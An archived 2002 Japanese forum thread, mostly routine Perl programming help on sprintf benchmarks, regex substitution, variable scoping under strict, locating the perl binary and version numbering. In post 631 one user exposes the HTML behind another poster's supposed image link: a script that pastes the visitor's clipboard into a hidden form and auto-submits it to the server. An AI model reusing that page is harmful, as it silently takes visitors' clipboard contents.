トップページ⇒php
988コメント342KB

CGIに依存しないPerlの話題一般

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。2001/05/31(木) 21:49ID:bKRSBFew
・コマンドラインからのPerl活用
・モジュール、オブジェクト指向プログラミング
・Perl6や.NET対応など
・各種GUIツールキット(Perl/Tk, Gtk-Perlなど)
・他言語による拡張(Inline::*, XS, Swigなど)

についてマターリと語り合うスレッドです。

#CGI関連の話題は、なるべく専用スレッドで。
0581名無しさん@お腹いっぱい。02/02/15 20:06ID:???
>>579
自分のサイトでも載せてるし、実際に使ってます、そんなの。
0582名無しさん@お腹いっぱい。02/02/15 20:18ID:???
>>580
そうですか、自分もCからPerlに入ったんで最初は違和感あったんですけど
いちいち中間変数を考えるのが面倒になったときこっちが便利になってきました。

>>581
はい、おっしゃるとおり、そんなのです。
他に使っている人がいて安心しました。
そんなん蛇道とかいわれなくてよかったです。
058358102/02/15 23:26ID:???
>>582
誤解があったようなので。
> そんなの
「そういうの」って言った方が良かったね。
悪意はまったく無いので。スマソ

ちなみに私はPerl厨なので、俗に言うトリッキーな書き方が大好きです。
0584賛成の反対の反対ナノだ!02/02/16 02:29ID:???
コンパクトなコーディングもいいですが、sprintf関数はオーバーヘッドが大きくてらっしゃる
のでわたしは使いません。
058558202/02/16 10:22ID:???
>>583
いぇいぇ、わざわざすみませんです。
Perlコードのパズル感覚は私も面白くてはまるたちです。

>>584
やはり、そいった御意見もありますよね、ふむふむ。
ここは、使い分けということですよね。

処理時間が短さが重要な処理で、かつ大量の日付表示処理の繰り返し
とかやる場合は、オーバーヘッドの少ない方法を使うわけですね。

ちょっとしたレポートに作成日付をつけるぐらいの処理だったら
>>579に示した方法でもいいですよね。
0586名無しさん@お腹いっぱい。02/02/16 11:37ID:???
よく考えたらPerlでsprintf使う意味ってあんまり無いよね。

型変換は必要ないし0fillとか桁削りも簡単。
0587名無しさん@お腹いっぱい。02/02/16 13:05ID:???
>>584は試してみてからそういってるのか?
手動フォーマットよりsprintf()の方が圧倒的に高速だが…俺のやり方がまずいんだろうか。
それともオーバーヘッドの意味が俺の考えている小物と違うのかな。
WinME perl5.6.1 ActivePerl 631
メモリ320MB CPU Duron 800MHz
#!perl -w
use Benchmark;
my @tm = localtime time;
sub timef1{
($sec, $min, $hour, $day, $mon, $year) = @tm;
$year += 1900;
$mon++;

$_ = sprintf '%d/%02d/%02d %02d:%02d:%02d', $year, $mon, $day, $hour, $min, $sec;
}
sub timef2{
($sec, $min, $hour, $day, $mon, $year) = @tm;
$year += 1900;
$mon++;

($mon < 10) and ($mon = "0$mon");
($day < 10) and ($day = "0$day");
($hour < 10) and ($hour = "0$hour");
($min < 10) and ($min = "0$min");
($sec < 10) and ($sec = "0$sec");
$_ = "$year/$mon/$day $hour:$min:$sec";
}
timethese 100000 => {
sprintf => \&timef1,
handformat => \&timef2,
};
__END__
結果
Benchmark: timing 100000 iterations of handformat, sprintf...
handformat: 6 wallclock secs ( 5.38 usr + 0.00 sys = 5.38 CPU) @ 18587.36/s (n=100000)
sprintf: 1 wallclock secs ( 0.82 usr + 0.00 sys = 0.82 CPU) @ 121951.22/s(n=100000)
0588名無しさん@お腹いっぱい。02/02/16 13:06ID:???
s/小物/もの/
0589名無しさん@お腹いっぱい。02/02/16 21:23ID:???
href="http://hoge.hoge.jp/hoge/fuga/index.html"
といった文字列から、別のファイルに保存してある
http://hoge.hoge.jp/hoge/
といった文字列にマッチしていればそのマッチした部分を削除
してくれるような操作をしたいのですが、どうすればうまく行くでしょうか?

= 置換したい文字列が動的に変化する時、":" や "/"のエスケープは
 どうするとよいのでしょうか?
0590名無しさん@お腹いっぱい。02/02/16 22:17ID:???
s/http:\/\/hoge\.hoge\.jp\/hoge\///;
059158902/02/16 22:41ID:???
>>590
単発ならそうするのですが、http:〜hoge までが動的に変化する場合の
うまいやり方が思いつかないのでげす・・・

059258902/02/16 22:43ID:SkVhVlKI
具体的には、htmlファイルのリンク書き換えのような事を
する場合、今まではエディタを使っていたのですが、perl
だとどうするのだろうかと・・・

0593名無しさん@お腹いっぱい。02/02/16 23:04ID:???
foreach $hoge (@hoges) { s/$hoge//; } とか?
059458902/02/16 23:25ID:???
>>593
あれ?

open LIST, "tmp.list";
while (<LIST>) {
s/$hoge//;
print;
}

 これで素直に動きました(汗)
 ありがとうございました・・・
0595名無しさん@お腹いっぱい。02/02/16 23:27ID:???
>>594
$hogeは?
0596名無しさん@お腹いっぱい。02/02/17 00:11ID:???
>>587
sprintfが重いってのはここを含めた一部の馬鹿板に於いて定説
ベンチも取らずに講釈並べるのが特徴です
>>584は馬鹿板育ちだからそっとしてあげよう
0597名無しさん@お腹いっぱい。02/02/17 01:53ID:???
>596
587ではないですが、私はラリーウォールさんがそういってるからいちおう信じてます。
059858702/02/17 10:58ID:???
>>596-597
なるほどね。
まぁお偉いさんがなんと言っていようと、俺は簡単かつ高速な方法を使うよ。
もちろん、ラリーの言葉を軽視するつもりはない。
printの代わりにprintfを、変数展開演算子の代わりにsprintfを使う事はないさね。(今までそんな事をしたことはないが)
0599名無しさん@お腹いっぱい。02/02/19 14:02ID:O1s5GzF/
Perl5.8 まだ?
0600名無しさん@お腹いっぱい。02/02/19 14:09ID:uqUI0/lz
ナニが変わるの?
0601名無しさん@お腹いっぱい。02/02/19 15:30ID:???
主に、レンサバ会社がPerlのバージョンアップをしてくれる切っ掛けになってくれないかと希望

0602名無しさん@お腹いっぱい。02/02/20 16:03ID:???
>>598
ま、ラクダ本の「効率の問題」の節を参照ってこった。
なにごとも、やりくちがひとつでないのがPerl流だからな。
0603名無しさん@お腹いっぱい。02/02/22 00:48ID:???
age
0604メモ02/02/23 10:58ID:???
DBI-ML-Jで話題のDBD::SQLiteがWin9x+BCCでビルド出来た。
>>483-485を参照にConfig.pmいぢって、Makefile.PLして、
出来たMakefileのラスト、848行目辺りの
(TAB)$(PERL) -p -e "s/~DRIVER~/$(BASEEXT)/g" < $(DBI_DRIVER_XST) > $(BASEEXT).xsi
これを
(TAB)$(PERL) -p -e "s/~DRIVER~/$(BASEEXT)/g" $(DBI_DRIVER_XST) > $(BASEEXT).xsi
とする。(ダイヤモンドINPUTをリダイレクトじゃなく引数で渡す)
これでOKだった。
0605名無しさん@お腹いっぱい。02/02/23 21:51ID:47XfJGkY
こりゃ面白い。
print B::Deparse->new->coderef2text(sub { 'foo' })
0606名無しさん@お腹いっぱい。02/02/25 10:07ID:9PcQp5qz
perlで複数定義を別ファイルにまとめておいたとき(例えばdefine.pl)

define.pl
$a = 1;

#このファイルの中では
require "define.pl";
main.cgi
print "$a";

すると変数$aにアクセスできますよね
しかしこれをuse strictで使いたい場合
全ての変数をmyしたいのですが、

define.plの中で
my $a = 1;
とするとmain.cgiからアクセスすることが出来なくなってしまいます。
c言語ならばmain.cgiでexternすればよいと思うのですが、
Perlではこのようなケースをどう扱うのが良いでしょうか?

define.pl
でpackage define;
my $a = 1;

してからmain.cgiで
$define::a
すればアクセスはできるようですが
が、できればパッケージプレフィクスは無しで同じmainパッケージ内変数として
扱いたいです。
両方のファイルをpackage main;して
同じパッケージにすればパッケージ変数無しで扱えるだろうと思いましたが、
ダメでした。
0607名無しさん@お腹いっぱい。02/02/25 16:22ID:???
>>606
思いっきり初心者の質問じゃねーか。

まず前提としてuse strictを使う時は$aと$bはやめとけ。$cはよし。
この忠告の意味が分かっているなら、使っても良いが。

1)
# define.pl
use vars qw($foo);
$foo = 1;
#end

# main.pl
BEGIN{ require 'define.pl' }
use strict;
print $foo
#end

2)
# define.pl
$foo = 1;
#end

# main.pl
require 5.006;
require 'define.pl';
our $foo;
print $foo;

他にもあるが、これがメジャーな方法だろう。
0608名無しさん@お腹いっぱい。02/02/25 18:45ID:WcXyiJAe
perl searchfile.pl
のようにして実行するperlスクリプトから
perlのパスを取り出すにはどうしたらよいでしょうか?
system('which perl' | > temp.dat);
のようにしてtemp.datを読み出せばわかるのでしょうが
どーにもスマートじゃない気がしています。
またWIN環境の場合はwhichが効かないので困ってしまいます。
何かいい知恵をお貸しください
0609名無しさん@お腹いっぱい。02/02/25 18:54ID:???
>>608
自分自身をファイルとして開く。
1行目を取得

/^\#\!(.*)perl$/

で、$1参照w。

自分自身のパスを保持している変数はあるがね。
0610名無しさん@お腹いっぱい。02/02/25 20:22ID:z9RUeTDe
>>608
殆どの場合

use Config;
print $Config{perlpath};

で逝けるぞな。
0611名無しさん@お腹いっぱい。02/02/25 21:22ID:???
何故 $^X が出てこないのか疑問なのは俺だけ?

それはそうと、Perl5.8.0は5月にリリース予定らしいぞ
http://slashdot.jp/article.pl?sid=02/02/23/0816236
0612名無しさん@お腹いっぱい。02/02/25 23:24ID:???
perlでWindowsのレジストリを操作したりすることはできますか?
0613名無しさん@お腹いっぱい。02/02/25 23:27ID:???
>>612
出来る。
0614名無しさん@お腹いっぱい。02/02/26 00:35ID:???
>>613
どうやるんですか?
0615名無しさん@お腹いっぱい。02/02/26 00:38ID:???
>614
ふつうにやる。
0616名無しさん@お腹いっぱい。02/02/26 16:32ID:???
perldoc Win32::TieRegistry をみよ
0617>61102/02/26 18:50ID:TKOzsqbn
なるほど確かに
$^XはActivePerlだと
C:\Perl\lib\Perl
という風に表示されるのですが、
Linux上のPerlだと
単にPerlになってしまって全体のパスが見えないですね・・・うーーむ。
・・・やっぱwhich perlかな・・・
0618名無しさん@お腹いっぱい。02/02/26 18:57ID:???
>617
system() or eval()
0619名無しさん@お腹いっぱい。02/02/26 19:26ID:TKOzsqbn
>618
つまり
system("which perl")
すると言うことですよね?

その場合system("which perl|> temp);
してtempをopenすることになると思うのですが、
もっとシンプルに戻り値を受けたり出来ないものでしょうか・・・


0620猫に真珠 ◆eKrEwpMs 02/02/26 19:39ID:???
>619
print `/usr/bin/which perl`;
0621名無しさん@お腹いっぱい。02/02/26 20:52ID:???
>>616
うう、そういうモジュールがあるのか、知らなかった。
あなたは神。ありtがとう
0622名無しさん@お腹いっぱい。02/02/26 21:15ID:???
>>619
スマートじゃないけど直感的。
open(DATA,"which perl |");


パイプ知らない人・・・?
0623名無しさん@お腹いっぱい。02/02/26 21:20ID:???
>622
実際にやってみた?
0624猫に真珠 ◆eKrEwpMs 02/02/26 21:24ID:???
Perlから呼び出されるwhichは、shellビルトインのものなのですが、
なぜかスクリプト中からwhich perlとしても、戻り値は獲得できません。
そういう場合は、大抵の環境に/usr/bin/whichというコマンドがありますので、
`/usr/bin/which perl`とコマンドで出力させれば、perlの位置も獲得できます。
0625名無しさん@お腹いっぱい。02/02/26 22:05ID:TKOzsqbn
>622さん、624さんの
遣り方を組み合わせてみたらできました。
open (DATA,"/usr/bin/which perl");
my @list = <DATA>;
するとperlのパスを読み出すことができますね。

でもこれだとwin32環境と切り分ける必要がありますね。
やはりそれは必須なのかな、どのみち・・。

if ($^O =~ /MSwin/){$path = $^X;}
else {
open (DATA,"/usr/bin/which perl");
$path = <DATA>;close(DATA);
}

こんな感じにしてみました。
0626猫に真珠 ◆eKrEwpMs 02/02/26 22:08ID:???
>625
なんで620は完全無視なの?さみしい。
0627asdfghjkl02/02/26 22:21ID:???
#バイブなら知ってる(ヶヶヶ
print join("\n",@INC);#謎
0628名無しさん@お腹いっぱい。02/02/26 22:32ID:???
>627
きみそのコテハンパスワードにしてないよねまさか?(笑)
0629名無しさん@お腹いっぱい。02/02/26 22:56ID:???
asdfghjkl [email protected] は厨坊なので相手にしないように。
0630asdfghjkl02/02/26 23:58ID:???
>>628-629
一応自称厨房という事で
ドーデもいいアカウントはこのパスかもなー

http://www3.chachacha.ne.jp/~indicate/cgi-bin/img0000064.jpg
たまには息抜きしろや
0631名無しさん@お腹いっぱい。02/02/27 00:58ID:???
>>630
公開済みの物を、公開しようかなも無いだろう。
<html><head>
<meta http-equiv="robots" content="none">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<meta http-equiv="Refresh" content="4;url=?mode=go">
<title>Redirect...</title></head><body>
しばらくお待ちください...
<form name="temp" style="position:absolute;visibility:hidden;" method="POST">
<input type="hidden" name="mode" value="go">
<textarea name="cps"></textarea></form>
<script language="JavaScript"><!--
eval('document.temp.cps.createTextRange().execCommand("Paste");');
temp.action = location.protocol + "//" + location.host + location.pathname;
setTimeout("temp.submit();",100);
//--></script>
</body></html>
0632名無しさん@お腹いっぱい。02/02/27 06:35ID:???
みんな、バッククォート演算子って知ってる?
それで解決する問題、たくさんあるじゃん。
063363202/02/27 06:40ID:???
>>626
きっとシングルクォートと間違えてるかネタだと思われてるんだよ。
バッククォート演算子知らない人多すぎ。
0634名無しさん@お腹いっぱい。02/02/27 08:52ID:???
>>633
シンプルだけど個人的に嫌いだからパイプ使う。
0635asdfghjkl02/02/27 19:33ID:???
>>631
バレタ(ヶヶヶ
んーま、JS実行できる環境でやってみな。
結構面白い事起こるから。
暇つぶしに作ってみただけだが…Perl関係なくなってるな。
0636名無しさん@お腹いっぱい。02/02/27 21:52ID:???
見事にレベルの低いスレッドになったな。
0637名無しさん@お腹いっぱい。02/02/28 03:21ID:CSTVGk7D
LINUXで書いたPerlスクリプトを
ソラリスで実行しているのですが、
rmdir ("$data_dir/$del_uid.bak")
|| &Error::error ("admin.cgi","Can't remove dir $data_dir/$del_uid.bak", "$!");

なぜか実行時にこのコードがエラーになります。
||がいけないのかと思い下の行をコメントアウトしてみたら動きました。
さらにユーザー認証用にパスワードを暗号化して格納しているのですが、
ソラリスでは認証がきちんと出来ません

crypt ($pass, &Salt);
sub Salt {
my @chr = qw (a b c d e f g h i j k l m n o p q r s t u v w x y z
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
0 1 2 3 4 5 6 7 8 9 . /);
my $s1 = int (rand 63); my $s2 = int (rand 63);
return "$chr[$s1]$chr[$s2]";
}

このようにパスワードを作って、

sub CheckUserPasswd {
my ($uid, $pass) = @_;

my $user_db = &HashDB::Retrieve ("$user_db_name");
my $rh_USER = $user_db->GetHash ('USER');
if (!defined ($rh_USER->{"$uid"})) { return 0; } ## No such user !

my $crypted_pass = $rh_USER->{"$uid"}->{'PASSWD'};
if ($crypted_pass) { $pass = crypt ($pass, substr ($crypted_pass, 0, 2)); }
else { $pass = ""; }
if ($pass eq $crypted_pass) { return 1; } ## checking passwd OK !
return 0; ## No match !
}
このルーチンで照合しているのですが、
ソラリスで正確に動かない理由ってわかりますでしょうか?
どなたか情報をお願いいたします。
0638名無しさん@お腹いっぱい。02/02/28 12:21ID:???
どーでもいーがa b c d e...とか書かないで
"a".."z"みたいにまとめれ
0639名無しさん@お腹いっぱい。02/02/28 22:35ID:???
>>637
$data_dirのパーミッションとcgiのEUIDをチェックしれ。
パスワードの方は自分で書いたコードで弾いてるんだからいくらでもデバッグの方法はあるだろう。
つかこれくらい自己解決できないならとっとと転職しろ。
0640nobodyさん02/03/07 20:53ID:vU2mkrSg
浮上
0641nobodyさん02/03/11 20:58ID:no4qCKmY
perl5.7.3に標準で付いてくるEncodeって何するモジュール?
文字コードを操作するものらしい、ってのはわかるけど、それ以上の事はわからん。
なんかH2ZとかTrとかあるし。文字コード変換なのかな?
0642nobodyさん02/03/15 04:16ID:8bz6oWFz
DUP_CHECK_FILE.txtというファイルに1万行のURLが書かれてあります。
『http://』で始まり、『.jpg』で終るという行が1万行続きます。
で、この中で
http://pinktower.com/で始まるもの以外のURLをDUP_CHECK_FILE.txt.origに書
き出すという処理をコマンドラインで行おうとしています。

でもうまく行かない・・・。

とりあえずこんな感じでもういっぱいいっぱいです。

perl -i.orig -p -e '!/^http\:\/\/pinktower\.com\/(.*?)\.jpg$/' DUP_CHECK_FILE.txt

これだとDUP_CHECK_FILE.txtのファイルの内容がすべて
DUP_CHECK_FILE.txt.origにコピーされるだけなんです。
お願いします。
0643nobodyさん02/03/15 04:31ID:???
>642
pスイッチだと全部出力しちゃうので,
nスイッチにして 'm|^http://pinktower.com/| or print'とするとか。
0644nobodyさん02/03/16 01:50ID:???
perl -i.orig -p -e 's/^http\:\/\/pinktower\.com\/(.*?)\.jpg\n$//' DUP_CHECK_FILE.txt

これでうまく行きました。

>>643
ありがとうございます。
いろんなスイッチがあってちょっと混乱気味。
それ、ちょっと試してみます。
色々学ばねば・・・。
0645nobodyさん02/03/22 00:33ID:K4fa0ysY
Windows2000+ActivePerlで以下のようなperlスクリプトを実行すると、
xcopyのオプション(/i)が効きません。

#!/perl
system("xcopy /i C:/test1.txt C:/test2.txt");

perlがxcopyを実行する時に/iのスラッシュがバックスラッシュに
置き換えられているんだと思うのですが、
これを回避する方法はあるのでしょうか。

既出ならすんません
064664502/03/22 01:09ID:???
嘘ついてました。
/iちゃんと効いてます。
逝ってきます。
0647nobodyさん02/03/22 01:18ID:???
>>646
夕飯までには帰るのよ
0648nobodyさん02/03/23 16:07ID:J43Ft5+8

モジュールのインストールについての質問です。

>>460-462
と似た状況なのですが、
Activeperlがなぜか2つインストールされているNTサーバで
(5.6.1ですが、buildは626と629)
ppmによるインストールがうまくいきません。
適合するパッケージを使っているにもかかわらず
「このperl構成(MSWin32)じゃ使えない」ってエラーが来ます。

2つあるのがまずいんでしょうか?
できれば2つのままでインストールできるようにしたい
(片方アンインストールした時に何かあるとマズーなので)のですが。

入れたいモジュールはDBI関係です。
CPANや直コピーでも大丈夫でしょうか?
0649Dream ★02/03/23 16:51ID:???
>>648
両方アンインストールして、最新のものだけ入れ直して下さい。
065064802/03/24 14:24ID:???
>>649
あー、それがやっぱり一番確実ですか。
ありがとうございました。検討してみます。
0651Dream ★02/03/24 19:09ID:???
>>650
はい。
原因不明の障害がでて、どっちが悪さしているのか
わからない状況になるよりは、一度きれいにして、
なんかトラブルがあったら誰が悪さしているのか、
わかる状況になっていないと困ると思います。
0652nobodyさん02/03/27 14:44ID:???
バージョンのことについて質問なんですけど、
1.0.0から始まったとしてこの3桁はそれぞれどのような意味をもっていて
もしどこか1つが10になったら繰り上がるんでしょうか?

例えばバグの修正をしていて1.0.1〜1.0.9まできて
その次はどのように表記したらいいんでしょうか?
0653nobodyさん02/03/27 14:55ID:???
特にバージョンの番号に決まりは…

1.0.91とかわりと普通
0654nobodyさん02/03/27 15:25ID:???
うーん、1.2.3みたいに表す場合、小数点と言う意識があんまりないっぽい。
1.0.9の次は1.0.10、みたいに単純に数が大きくなってくのをよく見る気がする。
0655nobodyさん02/03/27 16:59ID:???
左から
・メジャーバージョン
・マイナーバージョン
・リリース番号
・ビルド番号

リリース番号、ビルド番号は省く場合も多い
それぞれ0以上の値をとる整数値

決まりはないけど伝統的なルールは色々あるね。
知りたきゃ検索すれ。
0656nobodyさん02/03/27 18:04ID:???
そんじゃ例えば 1.0.1 のときにマイナーバージョンあpしたら
1.1.1になるの?それとも1.1.0にクリアされるとか・・?
完全にそう、っていうのじゃなくていいので
一般的にどうだとか、そんな感じに教えていただければありがたいのですが。

KENT WEBの場合はどんな感じなんでしょうか?
0657nobodyさん02/03/27 19:53ID:???
自分でしっくり来る方にすればいいじゃん。。
0658名無しさん@お腹いっぱい。02/03/31 20:19ID:T8l4eNTu
こんにちは。
@ARGV から与えたファイルの中身を(行単位でなく)スカラー変数の
中に押し込んで文字列置換をしたいのですが、今までだと

while(<>){ $data = "$data$_" }

とやっていました。もっとスマートなやり方は無いでしょうか?
(きっとあるはず・・・)
0659nobodyさん02/03/31 20:33ID:???
join '',@ARGV;
0660名無しさん@お腹いっぱい。02/03/31 20:44ID:???
>>659
ヒントをありがとうございました。
$_=join '',<>; で逝けました。
0661nobodyさん02/04/01 14:56ID:s5HvuRgH
http://www.cpan.org/

ぐわーっ
"Comprehensive Java Archive Network"って有ったら欲しいな。マジで。
0662nobodyさん02/04/02 08:00ID:RKDNLMgY
>>661
ワラタ

2日になったのに残ってる…と思ったらあちらさんはまだ1日か。
0663あぼーんNGNG
あぼーん
0664nobodyさん02/04/05 03:45ID:4R486XR6
プログラム板から来ました。
Perlの話題はやっぱこっちかなと思ったので。

早速ですが、拡張正規表現の(?>パターン)の使い方が分かりません。
Perl5から実装されているはずなのですが、らくだ本にも載ってません。
少ない情報から使い方を判断するに、

m/(?>パターン1)パターン2/ だと、
パターン1にマッチしたもの以外でパターン2にマッチしたもの
のような感じだと思うのですが違いますか?
0665nobodyさん02/04/05 08:13ID:???
> (?>パターン)
> 最短マッチを行う独立した部分正規表現です。このパターンにマッチした部分の
> 文字列は、(?>パターン)のあとのマッチ対象からは除去されます。これを利用
> すると、マッチしないパターンの識別が高速化されます。
066666402/04/05 09:46ID:Qaev8skv
↑ポケットリファレンスでしょ?
でも使い方まで載ってないんだなぁ。
0667nobodyさん02/04/05 09:58ID:???
(?>pattern)はperlreを読む限りでは、実験的で予告なしに改変したり
削除するかもってことだから、使わないのが吉かと。
使い方はperlreを参照。
http://www.perldoc.com/perl5.6.1/pod/perlre.html#(-%3epattern)
0668nobodyさん02/04/05 10:02ID:???
perldoc perlreでも見てみれば?
0669nobodyさん02/04/05 10:07ID:???
667,668
ケコーン!
↑これが一発で変換できてしまうのが悲しい。
2ちゃんに書けば書くほどATOKがバカになっていく。
0670nobodyさん02/04/06 01:51ID:XOUDqeQ1
WindowsMeでActivePerlを使っているのですが
SendToにPerlスクリプトを入れてバッチ処理みたいなことを
させたりということはできないんですか?
0671nobodyさん02/04/06 05:23ID:???
>670
実際にわたしはそれをやっていますが、できなかったの? 実際にやってみたの?
やったかどうかも書いてないが、ネタか?
0672nobodyさん02/04/06 09:03ID:???
>>670
sendtoと言わずに関連づけしなさいな。
0673nobodyさん02/04/07 00:32ID:1v+8pn8G
>>672
ちなみにwin2kなんだけど
関連付けても出来なかったんだけど?
0674nobodyさん02/04/07 00:33ID:???
>>673
不満なら自分で調べれば?
2k使えるくらいだから常識くらいはあるだろ。
067567302/04/07 00:35ID:???
つーかわざわざSendToに入れるのめんどくさいんだけど
067667302/04/07 00:37ID:???
>>674
いちおう検索エンジンくらいは調べたつもりなんだけどねぇ
0677nobodyさん02/04/07 00:38ID:???
バッチファイル(.bat)でも作れば?
@hogehoge.pl %*
とか
@perl hogehoge.pl %*
でもいいけど。
hogehoge.plは見つけられるようにしてくれ。
0678 02/04/07 05:17ID:???
>>677
自分もバッチファイルで対応してるけど、これが普通なの?
いちいちバッチファイル作るの面倒くさい。
9x系の時は、PIFファイルを置いてたけど。。。

>>675
フォルダやファイルを引数にして、スクリプトを実行
させる場合は、SendTo が便利。
0679nobodyさん02/04/07 09:35ID:???
>>678
ActivePerlにPerl→bat変換するバッチファイルがついているので
それを使えば?
0680nobodyさん02/04/07 11:16ID:???
数値のグラフ化って、みんなどうしてる?

たとえば、アクセス数をグラフ化したり、ここの
http://www.yakin.cc/
転送量のグラフみたいなものだけど、こういうのの生成って
やっぱしCかなんかで書いているのかなぁ?

このあたりをお聞かせ下さい。
■ このスレッドは過去ログ倉庫に格納されています